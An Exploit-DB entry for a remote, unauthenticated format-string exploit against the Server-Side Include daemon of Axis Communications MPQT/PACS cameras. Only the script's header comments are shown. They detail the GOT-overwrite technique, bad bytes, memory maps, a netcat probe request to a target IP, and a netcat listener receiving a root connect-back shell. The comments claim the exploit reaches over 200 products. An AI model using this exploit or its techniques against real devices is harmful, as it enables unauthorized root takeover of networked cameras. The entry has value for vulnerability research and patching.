Exploit-DB #40125
Description: Axis Communications MPQT/PACS 5.20.x - Server-Side Include Daemon Remote Format String
Type: remote
Platform: multiple
Date: 2016-07-19
Author: bashis

Exploit:
#!/usr/bin/env python2.7
# 
# [SOF]
#
# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
# Research and development by bashis <mcw noemail eu> 2016
#
# This format string vulnerability has following characteristic:
# - Heap Based (Exploiting string located on the heap)
# - Blind Attack (No output the remote attacker)(*)
# - Remotly exploitable (As anonymous, no credentials needed)
#
# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.
#
# This exploit has following characteristic:
# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]
# - Modifying LHOST/LPORT in shellcode on the fly
# - Manual exploiting of remote targets
# - Simple HTTPS support
# - Basic Authorization support (not needed for this exploit)
# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode
# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)
# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root
# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)
# - Multiple FMS exploit techniques
#   - "One-Write-Where-And-What" for MIPS and CRISv32
#     Using "Old Style" POP's
#     Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call
#     Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.
#   - "Two-Write-Where-And-What" for ARM
#     1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address
#     2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter access for POP/Write
#     [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually]
# - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)
# - Exploit is quite well documented
#
# Anyhow,
# Everything started from this simple remote request:
#
# ---
# $ echo -en "GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80
# HTTP/1.1 500 Server Error
# Content-Type: text/html; charset=ISO-8859-1
#
# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>
# <BODY><H1>500 Server Error</H1>
# The server encountered an internal error and could not complete your request.
# </BODY></HTML>
# ---
#
# Which gave this output in /var/log/messages on the remote device:
#
# ---
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.
# ---
#
# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products
#
# ---
# $ netcat -vvlp 31337
# listening on [any] 31337 ...
# 192.168.0.90: inverse host lookup failed: Unknown host
# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)
# pwd
# /usr/html
# ---
#
# Some technical notes:
#
# 1.  Direct addressing with %<argument>$%n is "delayed", and comes in force only after disconnect.
#     Old metod with POP's coming into force instantly
#
# 2.  Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)
#     - Would be interesting to investigate why.
#
# 3.  Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26
#     Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff
#
# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff
#     Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f
#
# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:
#     Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)
#
# 4.  Everything is randomized, except heap.
#
# 5.  My initial attempts to use ROP's was not good, as I didn't want to create
#     one unique FMS key by testing each single firmware version, and using ROP with FMS
#     on heap seems pretty complicated as there is one jump availible, maximum two.
#
# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.
#    
# 6.  Encoded and Decoded shellcode located in .bss section.
# 6.1 FMS excecuted on heap
#
# 7.  Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM
# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,
#     so execute shellcode on heap/stack may be impossible.
# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,
#     and re-compile of the image.
# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.
#
# 8.  This exploit are pretty well documented, more details can be extracted by reading
#     the code and comments.
#
# MIPS ssid maps
# 00[PII_REDACTED]d000 r-xp 00000000 00:01 2272       /bin/ssid
# 0041d000-0041e000 rw-p 0000d000 00:01 2272       /bin/ssid
# 0041e[PII_REDACTED]0 rwxp 00000000 00:00 0          [heap]
#
# ARM ssid maps
# [PII_REDACTED] r-xp 00000000 00:01 2055        /bin/ssid
# 0001c000-0001d000 rw-p 0000c000 00:01 2055        /bin/ssid
# 0001d[PII_REDACTED]0 rw-p 00000000 00:00 0           [heap]
#
# Crisv32 ssid maps
# 00[PII_REDACTED]c000 r-xp 00000000 1f:03 115        /bin/ssid
# 0008c000-0008e000 rw-p 0000a000 1f:03 115        /bin/ssid
# 0008e000-000b6000 rwxp 0008e000 00:00 0          [heap]
#
# General notes:
#
# When the vul daemon process is exploited, and after popping root connect-back shell,
# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,